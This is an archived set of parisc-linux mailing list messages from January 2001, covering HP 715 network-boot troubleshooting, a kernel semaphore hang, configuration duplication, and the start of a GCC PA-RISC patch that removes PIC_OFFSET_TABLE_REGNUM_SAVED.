Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA04128
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 10:59:16 -0700
Original-Received: (qmail 7787 invoked by uid 15267); 14 Jan 2001 18:02:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7779 invoked from network); 14 Jan 2001 18:02:55 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 18:02:55 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP
	id 2085A22E29; Sun, 14 Jan 2001 13:02:55 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 724BBC19; Sun, 14 Jan 2001 13:02:20 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A614153.68903841@linuxcare.com>; from alex@linuxcare.com on Sun, Jan 14, 2001 at 01:04:03AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9168

On Sun, Jan 14, 2001 at 01:04:03AM -0500, Alex deVries wrote:
> "Phillip D. Beal" wrote:
> > 
> > I've tried all three, and the boot
> > sequence from the netowrk fails.  
> 
> I suspect there's a problem with your network boot server (ie. rbootd)
> *not* the image you're booting.  Does the log output of rbootd indicated
> a successful  transfer of the bootfile?  You can do this by running
> 'rbootd -d', which should spew debug info to the console.

Well, the odd thing is that the network setup works fine for a 735 and
755, but not the 715.  But wait, you said a 715 uses bootp not rboot,
and I know the 735 and 755 use the rbootd and can boot from my network
setup.

-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Sun, 14 Jan 2001 13:42:49 -0500
Organization: The Puffins at Linuxcare
Lines: 20
Approved: news@gmane.org
Message-ID: <3A61F329.5E315E9F@linuxcare.com>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com> <20010112182012.H13351@neep.com.au> <20010113223513.A63406@athena.louisville.edu> <3A614153.68903841@linuxcare.com> <20010114130220.A92364@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619522 10282 80.91.229.3 (22 Nov 2014 01:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: alex@linuxcare.com  Sun Jan 14 11:34:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA04693
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 11:34:24 -0700
Original-Received: (qmail 2822 invoked by uid 15267); 14 Jan 2001 18:38:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2809 invoked from network); 14 Jan 2001 18:38:03 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 18:38:03 -0000
Original-Received: (qmail 13272 invoked from network); 14 Jan 2001 18:38:05 -0000
Original-Received: from hse-ottawa-ppp158469.sympatico.ca (HELO linuxcare.com) (adevries@64.229.134.124)
  by smtp.linuxcare.com with SMTP; 14 Jan 2001 18:38:05 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9169

"Phillip D. Beal" wrote:
> Well, the odd thing is that the network setup works fine for a 735 and
> 755, but not the 715.  But wait, you said a 715 uses bootp not rboot,
> and I know the 735 and 755 use the rbootd and can boot from my network
> setup.

Wait!  I said that 715/new uses bootp, but 715/old uses rbootd.

And I don't believe you when you say that your 735 and 755 netboot
properly. I'd be convinced if you showed me both a) the output of
'rbootd -d' and b) console output.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Sun, 14 Jan 2001 20:13:56 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010114201356.A32402@parcelfarce.linux.theplanet.co.uk>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com> <20010112182012.H13351@neep.com.au> <20010113223513.A63406@athena.louisville.edu> <3A614153.68903841@linuxcare.com> <20010114130220.A92364@athena.louisville.edu> <3A61F329.5E315E9F@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619523 10284 80.91.229.3 (22 Nov 2014 01:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:23 +0000 (UTC)
Cc: "Phillip D. Beal" <pdbeal@louisville.edu>, parisc-linux@thepuffingroup.com
To: Alex deVries <alex@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Sun Jan 14 13:10:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA05692
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 13:10:39 -0700
Original-Received: (qmail 15386 invoked by uid 15267); 14 Jan 2001 20:14:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15364 invoked from network); 14 Jan 2001 20:14:17 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 20:14:17 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14HtXI-0008RP-00; Sun, 14 Jan 2001 20:13:56 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A61F329.5E315E9F@linuxcare.com>; from alex@linuxcare.com on Sun, Jan 14, 2001 at 01:42:49PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9170

On Sun, Jan 14, 2001 at 01:42:49PM -0500, Alex deVries wrote:
> "Phillip D. Beal" wrote:
> > Well, the odd thing is that the network setup works fine for a 735 and
> > 755, but not the 715.  But wait, you said a 715 uses bootp not rboot,
> > and I know the 735 and 755 use the rbootd and can boot from my network
> > setup.
> 
> Wait!  I said that 715/new uses bootp, but 715/old uses rbootd.
> 
> And I don't believe you when you say that your 735 and 755 netboot
> properly. I'd be convinced if you showed me both a) the output of
> 'rbootd -d' and b) console output.

why's it so hard to believe he might have rbootd configured correctly,
but have made a typo in his tftpd / bootpd configuration?

Phillip, have you tried using tftp to fetch the image, for example?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphores
Date: Sun, 14 Jan 2001 15:59:00 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200101142359.PAA09486@milano.cup.hp.com>
References: <20010114020101.J7463@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619523 10288 80.91.229.3 (22 Nov 2014 01:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Sun Jan 14 16:53:48 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA07425
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 16:53:46 -0700
Original-Received: (qmail 9078 invoked by uid 15267); 14 Jan 2001 23:57:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9068 invoked from network); 14 Jan 2001 23:57:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 23:57:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 2F80978F; Sun, 14 Jan 2001 15:57:24 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA09486;
	Sun, 14 Jan 2001 15:59:11 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 14 Jan 2001 02:01:01 PST."
             <20010114020101.J7463@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9171

Matthew Wilcox wrote:
> thanks for trying this, grant.  i'll continue trying to debug this when
> i'm back from oz and have a machine to hand again.  trying to debug this
> by proxy just isn't going to work.

Yeah...but it might not be your bug. I uploaded a new PDC (40.50) on my
A500 and rebuilt using TOB (w/o your semaphore patch) and built from
scratch. System hangs after "swapon" hits a break isns. If interested,
I can send you more details. jsm/rhirst/amodra already have details.

enjoy .au!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Sun, 14 Jan 2001 16:03:44 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <200101150003.QAA09520@milano.cup.hp.com>
References: <3A61F329.5E315E9F@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619523 10300 80.91.229.3 (22 Nov 2014 01:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:23 +0000 (UTC)
Cc: "Phillip D. Beal" <pdbeal@louisville.edu>, parisc-linux@thepuffingroup.com
To: Alex deVries <alex@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Sun Jan 14 17:00:56 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA07768
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 17:00:56 -0700
Original-Received: (qmail 14621 invoked by uid 15267); 15 Jan 2001 00:04:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14614 invoked from network); 15 Jan 2001 00:04:35 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 00:04:35 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 52449BB7; Sun, 14 Jan 2001 16:04:30 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA09520;
	Sun, 14 Jan 2001 16:03:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 14 Jan 2001 13:42:49 PST."
             <3A61F329.5E315E9F@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9172

Alex deVries wrote:
> "Phillip D. Beal" wrote:
> > Well, the odd thing is that the network setup works fine for a 735 and
> > 755, but not the 715.  But wait, you said a 715 uses bootp not rboot,
> > and I know the 735 and 755 use the rbootd and can boot from my network
> > setup.
> 
> Wait!  I said that 715/new uses bootp, but 715/old uses rbootd.

715/80 == 715/new

new == 64, 80, 100. old == 33, 50, 75.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphores
Date: Mon, 15 Jan 2001 00:00:33 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010115000033.O32402@parcelfarce.linux.theplanet.co.uk>
References: <20010114020101.J7463@parcelfarce.linux.theplanet.co.uk> <200101142359.PAA09486@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619524 10306 80.91.229.3 (22 Nov 2014 01:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:24 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Sun Jan 14 17:18:10 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA08110
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 17:18:10 -0700
Original-Received: (qmail 28345 invoked by uid 15267); 15 Jan 2001 00:21:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28337 invoked from network); 15 Jan 2001 00:21:48 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 00:21:48 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Hx4b-0001u2-00; Mon, 15 Jan 2001 00:00:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101142359.PAA09486@milano.cup.hp.com>; from grundler@cup.hp.com on Sun, Jan 14, 2001 at 03:59:00PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9173

On Sun, Jan 14, 2001 at 03:59:00PM -0800, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > thanks for trying this, grant.  i'll continue trying to debug this when
> > i'm back from oz and have a machine to hand again.  trying to debug this
> > by proxy just isn't going to work.
> 
> Yeah...but it might not be your bug. I uploaded a new PDC (40.50) on my
> A500 and rebuilt using TOB (w/o your semaphore patch) and built from
> scratch. System hangs after "swapon" hits a break isns. If interested,
> I can send you more details. jsm/rhirst/amodra already have details.

I think it is my bug because that's where it used to hang on my 712.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] configuration
Date: Mon, 15 Jan 2001 01:00:29 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20010115010029.A8375@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619524 10311 80.91.229.3 (22 Nov 2014 01:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sun Jan 14 17:56:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA08813
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 17:56:51 -0700
Original-Received: (qmail 26926 invoked by uid 15267); 15 Jan 2001 01:00:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26918 invoked from network); 15 Jan 2001 01:00:30 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 01:00:30 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Hy0b-0002MO-00
	for parisc-linux@thepuffingroup.com; Mon, 15 Jan 2001 01:00:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9174


is there a good reason that we duplicate large chunks of (for
example) the SCSI configuration menu (from drivers/scsi/Config.in)
in the arch/parisc/config.in file?  sparc / spac64 do the same as us,
but none of the other arches do.  do we have a good reason or is ths a
hysterical accident?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configuration
Date: Sun, 14 Jan 2001 18:47:57 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <200101150247.SAA09667@milano.cup.hp.com>
References: <20010115010029.A8375@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619524 10315 80.91.229.3 (22 Nov 2014 01:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Sun Jan 14 19:43:12 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA09846
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Jan 2001 19:43:11 -0700
Original-Received: (qmail 12353 invoked by uid 15267); 15 Jan 2001 02:46:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12342 invoked from network); 15 Jan 2001 02:46:50 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 02:46:50 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id CADBFEBA; Sun, 14 Jan 2001 18:46:49 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA09667;
	Sun, 14 Jan 2001 18:47:58 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 15 Jan 2001 01:00:29 PST."
             <20010115010029.A8375@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9175

Matthew Wilcox wrote:
> is there a good reason that we duplicate large chunks of (for
> example) the SCSI configuration menu (from drivers/scsi/Config.in)
> in the arch/parisc/config.in file?

Perhaps to set flags to defaults friendly to parisc?
Just guessing...

grant


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Mon, 15 Jan 2001 22:09:30 +1100 (EST)
Lines: 284
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101151430350.21322-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0101151238510.21322-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619524 10319 80.91.229.3 (22 Nov 2014 01:25:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:24 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Jan 15 04:06:17 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA14586
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 04:06:14 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA12279;
	Mon, 15 Jan 2001 22:09:31 +1100
In-Reply-To: <Pine.LNX.4.21.0101151238510.21322-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:9176

This patch rids us of PIC_OFFSET_TABLE_REGNUM_SAVED, and the problems that
go with it.  Additionally, I reload the pic offset table register before
calls to guard against asm trashing r27/r19.  Hasn't bootstrapped yet, but
looks promising.  One possible fly in the ointment is whether any ABI
requires that r4 always be used to save the pic offset table reg.

	* config/pa/pa.h (PIC_OFFSET_TABLE_REGNUM_SAVED): Remove.
	(machine_function): Define.
	(PIC_OFFSET_TABLE_SAVE_RTX) : Define.
	(INIT_EXPANDERS): Define.
	* config/pa/pa.c (pa_init_machine_status, pa_free_machine_status,
	pa_init_expanders): New functions.
	(hppa_expand_prologue): Use PIC_OFFSET_TABLE_SAVE_RTX instead of
	PIC_OFFSET_TABLE_REGNUM_SAVED.
	* config/pa/pa.md: Use PIC_OFFSET_TABLE_SAVE_RTX instead of
	PIC_OFFSET_TABLE_REGNUM_SAVED throughout.  Restore pic offset
	table register before all calls as well as after.
	* config/pa/pa32-regs.h (CONDITIONAL_REGISTER_USAGE): Remove
	references to PIC_OFFSET_TABLE_REGNUM_SAVED.
	* config/pa/pa64-regs.h (CONDITIONAL_REGISTER_USAGE): Likewise.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

diff -urp -xCVS egcs/gcc/config/pa/pa.c newegcs/gcc/config/pa/pa.c
--- egcs/gcc/config/pa/pa.c	Thu Jan  4 15:22:58 2001
+++ newegcs/gcc/config/pa/pa.c	Mon Jan 15 20:54:01 2001
@@ -2918,6 +2918,40 @@ output_function_prologue (file, size)
   remove_useless_addtr_insns (get_insns (), 0);
 }
 
+/* Functions to initialize pic_offset_table_save_rtx.
+   These will be called, via pointer variables,
+   from push_function_context and pop_function_context.  */
+
+static void
+pa_init_machine_status (p)
+     struct function *p;
+{
+  p->machine = (machine_function *) xmalloc (sizeof (machine_function));
+
+  p->machine->pic_offset_table_save_rtx = gen_reg_rtx (Pmode);
+}
+
+static void
+pa_free_machine_status (p)
+     struct function *p;
+{
+  if (p->machine == NULL)
+    return;
+
+  free (p->machine);
+  p->machine = NULL;
+}
+
+/* Do anything needed before RTL is emitted for each function.  */
+
+void
+pa_init_expanders ()
+{
+  /* Arrange to save and restore machine status around nested functions.  */
+  init_machine_status = pa_init_machine_status;
+  free_machine_status = pa_free_machine_status;
+}
+
 void
 hppa_expand_prologue()
 {
@@ -3155,17 +3189,10 @@ hppa_expand_prologue()
 
      So instead, we copy the PIC register into a reserved callee saved
      register in the prologue.  Then after each call we reload the PIC
-     register from the callee saved register.  We also reload the PIC
-     register from the callee saved register in the epilogue ensure the
-     PIC register is valid at function exit.
-
-     This may (depending on the exact characteristics of the function)
-     even be more efficient. 
-
-     Avoid this if the callee saved register wasn't used (these are
-     leaf functions).  */
-  if (flag_pic && regs_ever_live[PIC_OFFSET_TABLE_REGNUM_SAVED])
-    emit_move_insn (gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED),
+     register from the callee saved register.  */
+
+  if (flag_pic && HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX))
+    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
 		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
 }
 
Only in newegcs/gcc/config/pa: pa.c~
diff -urp -xCVS egcs/gcc/config/pa/pa.h newegcs/gcc/config/pa/pa.h
--- egcs/gcc/config/pa/pa.h	Thu Jan  4 15:22:58 2001
+++ newegcs/gcc/config/pa/pa.h	Mon Jan 15 20:54:01 2001
@@ -70,6 +70,14 @@ enum architecture_type
   ARCHITECTURE_20
 };
 
+struct rtx_def;
+/* A C structure for machine-specific, per-function data.
+   This is added to the cfun structure.  */
+typedef struct machine_function
+{
+  struct rtx_def *pic_offset_table_save_rtx;
+} machine_function;
+
 /* For -march= option.  */
 extern const char *pa_arch_string;
 extern enum architecture_type pa_arch;
@@ -493,8 +501,8 @@ extern int target_flags;
 #define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
 /* Register into which we save the PIC_OFFEST_TABLE_REGNUM so that it
-   can be restore across function calls.  */
-#define PIC_OFFSET_TABLE_REGNUM_SAVED 4
+   can be restored across function calls.  */
+#define PIC_OFFSET_TABLE_SAVE_RTX (cfun->machine->pic_offset_table_save_rtx)
 
 #define DEFAULT_PCC_STRUCT_RETURN 0
 
@@ -854,6 +862,10 @@ extern enum cmp_type hppa_branch_type;
 	     DELTA, target_name, DELTA); \
   fprintf (FILE, "\n\t.EXIT\n\t.PROCEND\n"); \
 }
+
+/* Initialize data used by insn expanders.  This is called from
+   init_emit, once for each function, before code is generated. */
+#define INIT_EXPANDERS pa_init_expanders ()
 
 /* This macro generates the assembly code for function entry.
    FILE is a stdio stream to output the code to.
Only in newegcs/gcc/config/pa: pa.h~
diff -urp -xCVS egcs/gcc/config/pa/pa.md newegcs/gcc/config/pa/pa.md
--- egcs/gcc/config/pa/pa.md	Mon Jan  8 22:47:00 2001
+++ newegcs/gcc/config/pa/pa.md	Mon Jan 15 20:53:58 2001
@@ -5711,6 +5711,7 @@
     emit_move_insn (arg_pointer_rtx,
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
+  emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
 
   /* Use two different patterns for calls to explicitly named functions
      and calls through function pointers.  This is necessary as these two
@@ -5735,18 +5736,12 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
       if (TARGET_64BIT)
 	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -5888,6 +5883,8 @@
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
 
+  emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
+
   /* Use two different patterns for calls to explicitly named functions
      and calls through function pointers.  This is necessary as these two
      types of calls use different calling conventions, and CSE might try
@@ -5915,18 +5912,12 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
